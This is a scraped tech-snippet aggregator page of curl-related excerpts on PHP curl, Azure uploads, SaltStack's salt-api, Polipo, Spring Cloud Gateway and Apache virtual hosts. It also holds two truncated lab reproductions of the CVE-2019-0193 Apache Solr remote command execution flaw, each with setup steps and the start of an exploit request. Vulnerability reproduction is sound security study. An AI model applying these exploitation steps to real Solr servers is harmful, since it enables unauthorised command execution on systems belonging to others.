curl

How to use curl PHP in loop with 100 time? [closed]

与世无争的帅哥 提交于 2021-02-04 16:47:23
问题 Closed . This question needs to be more focused. It is not currently accepting answers. Want to improve this question? Update the question so it focuses on one problem only by editing this post. Closed 4 years ago . Improve this question How to use curl in loop 100 times with send request and store response in an array? For example : when curl uses in loop first time and gets 500 records and store in an array and again the same process with the second loop and gets 500 records form response

Simple PHP cURL file upload to Azure storage blob

让人想犯罪 __ 提交于 2021-02-04 14:17:27
问题 I have issues to create a new/simple PHP script/function with cURL to upload simple file (image.jpg) from local server to Azure storage - blob container using Shared Key authentication. I do not want (for other reasons) use SDK and/or multiple files/libraries. I need only one function - fileUpload - and that is it. Documentation does not provide complete example for upload (POST) with file overwrite. https://docs.microsoft.com/en-us/rest/api/storageservices/fileservices/authentication-for-the

CVE-2019-0193:Apache Solr远程命令执行漏洞复现

烂漫一生 提交于 2021-02-04 09:52:00
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x02 环境搭建 下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip 在本地解压,进入solr-7.7.2目录,执行命令 bin/solr -e dih (前提:java环境) 然后访问 http://localhost:8983/solr 即可访问环境 0x03 漏洞利用 首先我们可以通过接口 curl http://127.0.0.1:8983/solr/admin/cores 来获取所有 core 信息,下面我们构造 payload 需要 name 信息 在Burp中发送以下POC即可执行命令弹出计算器,下面的<your_core_name> 需要替换为你获取到的 core 的 name(共两处) POST /solr/<your_core_name>/dataimport HTTP/1.1 Host : 127.0.0.1:8983 Content-Length : 763 User-Agent : Mozilla/5.0 Content-type : application/x-www

CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

和自甴很熟 提交于 2021-02-04 09:51:49
CVE-2019-0193: Apache Solr 远程命令执行漏洞复现 0X00漏洞简介 CVE-2019-0193是一个存在于 Apache solr搜索引擎中的命令执行漏洞 0X01漏洞原因 Apache solr 是一款开源的搜索服务器并且使用 java语言开发;主要的工作方式:用户通过 http请求像搜索引擎发出索引条件, solr对条件进行分词 处理,根据分词结果查找索引,继而找到文档   在 Apache solr的可选模块 DatalmportHandler中的 DIH配置是可以包含脚本,因此存在安全隐患,在 apache solr < 8.2.0版本之前 DIH配置中 dataconfig可以被用户控制 0X02漏洞影响范围 影响范围: Apache solr < 8.2.0 0X03漏洞环境搭建 下载地址 https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip 解压完成后使用cmd进入bin文件夹执行solr –e dih 访问系统提示的界面 http://localhost:8983/solr 即可访问 查看虚拟机ip并在本机访问可成功访问 0X04漏洞利用 cmd 命令执行 curl http://localhost:8983/solr/admin/cores

Multi_Curl with values from mysql column

ぃ、小莉子 提交于 2021-02-04 08:20:30
问题 I have a mysql table "blackrock" (it has over 14.000 rows). item_id | item_class | item_subclass | actual_price | actual_quantity --------------------------------------------------------------------- 19019 | 2 | 7 | 5727700 | 12 84444 | 2 | 1 | 5888040 | 52 .... I need the item_id of each row to connect to an extern json API file. Every item_id has his own json file. Here is an example. The 19019 is the item_id. https://eu.api.blizzard.com/data/wow/item/19019?namespace=static-eu&locale=de_DE

SaltStack--接口salt-api

早过忘川 提交于 2021-02-02 15:44:35
SaltStack接口salt-api 介绍 参考官档 参考官档 SaltStack 官方提供有 REST API 格式的 salt-api 项目,将使 salt 与第三方系统集成变得更加简单。 salt-api安装配置 1)在 salt-master 上进行安装 [root@salt-master ~]# yum -y install salt-api 2)自签名证书,生产环境可以购买(说明:如果没有 salt-call 命令,装上 salt-minion 即可,依赖于该包) [root@salt-master ~]# salt-call -- local tls.create_self_signed_cert local: Created Private Key: " /etc/pki/tls/certs/localhost.key. " Created Certificate: " /etc/pki/tls/certs/localhost.crt. " 3)打开 include 加载子配置文件,方便管理 [root@salt-master ~]# vim /etc/salt/ master default_include: master.d /* .conf 4)配置 api 配置文件,将上面生成的证书写到配置文件 [root@salt-master ~]# vim /etc

saltstack的salt-api介绍

泪湿孤枕 提交于 2021-02-02 15:30:34
一、salt-api安装 yum install salt-api pyOpenSSL -y #pyOpenSSL 生成自签证书时使用 二、生成自签名证书(ssl使用) [root@master certs]# salt- call tls.create_self_signed_cert local: Created Private Key: " /etc/pki/tls/certs/localhost.key. " Created Certificate: " /etc/pki/tls/certs/localhost.crt. " [root@master certs]# ls localhost.crt localhost.key 三、创建基于pam认证的系统用户 [root@master certs]# useradd -M -s /sbin/nologin salt-api [root@master certs]# echo "salt-api" | passwd salt-api -- stdin Changing password for user salt- api. passwd : all authentication tokens updated successfully. [root@master certs]# 四、在master节点新增配置文件 [root

「Polipo」- 将 SOCKS 转换为 HTTP(S) 代理 @20210127

狂风中的少年 提交于 2021-02-02 05:47:20
问题描述 现在我们有 SOCKS 代理服务器,但是由于部分软件功能限制,我们需要使用 HTTP(S) 代理服务。 该笔记将记录:将 SOCKS 代理服务 转化为 HTTP(S) 代理服务 的方法。 解决方案 使用 Polipo 软件。 服务搭建 系统版本:Debian GNU/Linux 10 第一步、安装服务 apt-get install polipo 第二步、修改配置 cp /etc/polipo/config /etc/polipo/config.backup cat > /etc/polipo/config <<EOF # 日志等级 logSyslog = false logFile = /var/log/polipo/polipo.log logLevel=255 # 上游代理服务 socksParentProxy = "127.0.0.1:1080" socksProxyType = socks5 # 监听服务地址及端口 proxyAddress = "::0" # both IPv4 and IPv6 # proxyAddress = "0.0.0.0" # or IPv4 only proxyPort = 8123 EOF 有关日志等级设置,可以参考 http proxy - Make polipo to log all urls - Unix & Linux

微服务网关实战——Spring Cloud Gateway

自作多情 提交于 2021-02-02 00:36:39
导读 作为Netflix Zuul的替代者,Spring Cloud Gateway是一款非常实用的微服务网关,在Spring Cloud微服务架构体系中发挥非常大的作用。本文对Spring Cloud Gateway常见使用场景进行了梳理,希望对微服务开发人员提供一些帮助。 微服务网关SpringCloudGateway 1.概述 Spring cloud gateway是spring官方基于Spring 5.0、Spring Boot2.0和Project Reactor等技术开发的网关,Spring Cloud Gateway旨在为微服务架构提供简单、有效和统一的API路由管理方式,Spring Cloud Gateway作为Spring Cloud生态系统中的网关,目标是替代Netflix Zuul,其不仅提供统一的路由方式,并且还基于Filer链的方式提供了网关基本的功能,例如:安全、监控/埋点、限流等。 2.核心概念 网关提供API全托管服务,丰富的API管理功能,辅助企业管理大规模的API,以降低管理成本和安全风险,包括协议适配、协议转发、安全策略、防刷、流量、监控日志等贡呢。一般来说网关对外暴露的URL或者接口信息,我们统称为路由信息。如果研发过网关中间件或者使用过Zuul的人,会知道网关的核心是Filter以及Filter Chain(Filter责任链)

【CetOS 7LAMP架构6】,Apache默认虚拟主机#

独自空忆成欢 提交于 2021-02-01 11:18:20
shallow丿ove httpd的默认虚拟主机 一台服务器可以访问多个网站,每个网站都是一个虚拟机 概念:域名(主机名)、DNS、解析域名、hosts 任何一个域名解析到这台机器,都可以访问的虚拟主机就是默认虚拟主机 vi /usr/local/apache2.4/conf/httpd.conf #搜索httpd/vhost,去掉# vi /usr/local/apache2.4/conf/extra/httpd-vhosts.conf #改为如下 <VirtuaHost *:80> ServerAdmin root@abc.com DocumentRoot "/data/wwwroot/abc.com" ServerName abc.com ServerAlias www.example.com Errorlog "log/abc.com-access_log" CustomLog "logs/abc.com-access_log" common </VirtualHost> <VirtuaHost *:80> DocumentRoot "/data/wwwroot/www.111.com" ServerName www.111.com </VirtualHost> /usr/local/apache2.4/bin/apachectl -t /usr/local/apache2